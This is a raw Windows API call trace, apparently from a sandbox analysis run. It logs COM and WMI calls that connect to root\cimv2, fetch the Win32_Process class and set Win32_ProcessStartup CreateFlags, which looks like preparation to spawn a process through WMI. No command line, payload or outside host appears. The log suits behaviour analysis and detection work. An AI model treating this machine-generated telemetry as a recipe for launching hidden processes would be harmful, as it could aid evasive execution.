WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0136.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0136.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc58ec0) returned 0x0 [0136.022] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58ec0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.022] WbemDefPath:IUnknown:Release (This=0x1bc58ec0) returned 0x3 [0136.022] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0136.022] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0136.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0136.023] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x2 [0136.023] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x1 [0136.023] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0136.023] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0136.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3fa40) returned 0x0 [0136.023] WbemDefPath:IUnknown:AddRef (This=0x1bc3fa40) returned 0x3 [0136.023] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x2 [0136.023] WbemDefPath:IWbemPath:SetText (This=0x1bc3fa40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0136.023] IWbemClassObject:Get (in: This=0x1bc2b680, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2876390*=0, plFlavor=0x2876394*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2876390*=19, plFlavor=0x2876394*=0) returned 0x0 [0136.023] IWbemClassObject:Get (in: This=0x1bc2b680, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2876390*=19, plFlavor=0x2876394*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2876390*=19, plFlavor=0x2876394*=0) returned 0x0 [0136.023] IWbemClassObject:Put (This=0x1bc2b680, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0136.023] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f800, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0136.023] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.023] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0136.023] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.024] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0136.024] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0136.024] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0136.024] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.026] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc59060) returned 0x0 [0136.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc59060, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0136.026] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc59060, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3fb00) returned 0x0 [0136.026] WbemDefPath:IUnknown:Release (This=0x1bc59060) returned 0x0 [0136.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3fb00) returned 0x0 [0136.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0136.027] WbemDefPath:IUnknown:AddRef (This=0x1bc3fb00) returned 0x3 [0136.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0136.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0136.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc590a0) returned 0x0 [0136.027] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc590a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.027] WbemDefPath:IUnknown:Release (This=0x1bc590a0) returned 0x3 [0136.027] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0136.027] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0136.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0136.027] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x2 [0136.027] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x1 [0136.027] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0136.027] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0136.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3fb00) returned 0x0 [0136.027] WbemDefPath:IUnknown:AddRef (This=0x1bc3fb00) returned 0x3 [0136.028] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x2 [0136.028] WbemDefPath:IWbemPath:SetText (This=0x1bc3fb00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0136.028] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0136.028] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0136.028] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.028] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0136.028] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0136.028] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0136.028] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.029] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc591a0) returned 0x0 [0136.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0136.029] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc591a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc591c0) returned 0x0 [0136.029] WbemLocator:IUnknown:Release (This=0x1bc591a0) returned 0x0 [0136.029] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc591c0) returned 0x0 [0136.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0136.030] WbemLocator:IUnknown:AddRef (This=0x1bc591c0) returned 0x3 [0136.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0136.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0136.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0136.030] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0136.030] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0136.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0136.030] WbemLocator:IUnknown:Release (This=0x1bc591c0) returned 0x2 [0136.030] WbemLocator:IUnknown:Release (This=0x1bc591c0) returned 0x1 [0136.030] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0136.030] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0136.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591c0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc591c0) returned 0x0 [0136.031] WbemLocator:IUnknown:AddRef (This=0x1bc591c0) returned 0x3 [0136.031] WbemLocator:IUnknown:Release (This=0x1bc591c0) returned 0x2 [0136.031] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0136.031] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0136.031] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.031] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc6f0e0) returned 0x0 [0136.031] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc6f0e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc64b30) returned 0x0 [0136.100] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64b30, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc42560) returned 0x0 [0136.100] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42560, pProxy=0x1bc64b30, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0136.100] WbemLocator:IUnknown:Release (This=0x1bc42560) returned 0x1 [0136.100] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64b30, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc425a0) returned 0x0 [0136.100] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64b30, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc42560) returned 0x0 [0136.101] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42560, pProxy=0x1bc64b30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0136.101] WbemLocator:IUnknown:Release (This=0x1bc42560) returned 0x2 [0136.101] WbemLocator:IUnknown:Release (This=0x1bc425a0) returned 0x1 [0136.101] CoTaskMemFree (pv=0x1bc6d650) [0136.101] WbemLocator:IUnknown:AddRef (This=0x1bc64b30) returned 0x2 [0136.101] WbemLocator:IUnknown:Release (This=0x1bc6f0e0) returned 0x0 [0136.102] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0136.102] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0136.102] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64b30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc42570) returned 0x0 [0136.102] WbemLocator:IRpcOptions:Query (in: This=0x1bc42570, pPrx=0x1bc6f140, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0136.102] WbemLocator:IUnknown:Release (This=0x1bc42570) returned 0x2 [0136.102] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0136.102] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0136.102] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64b30, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc64b30) returned 0x0 [0136.102] WbemLocator:IUnknown:Release (This=0x1bc64b30) returned 0x2 [0136.102] SysStringLen (param_1=0x0) returned 0x0 [0136.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0136.102] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0136.102] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.102] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0136.102] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0136.103] IWbemServices:GetObject (in: This=0x1bc64b30, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc75150, ppCallResult=0x0) returned 0x0 [0136.106] IWbemClassObject:Get (in: This=0x1bc75150, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0136.106] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0136.106] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0136.106] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0136.106] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0136.106] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0136.106] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.108] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc6f0e0) returned 0x0 [0136.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f0e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0136.108] 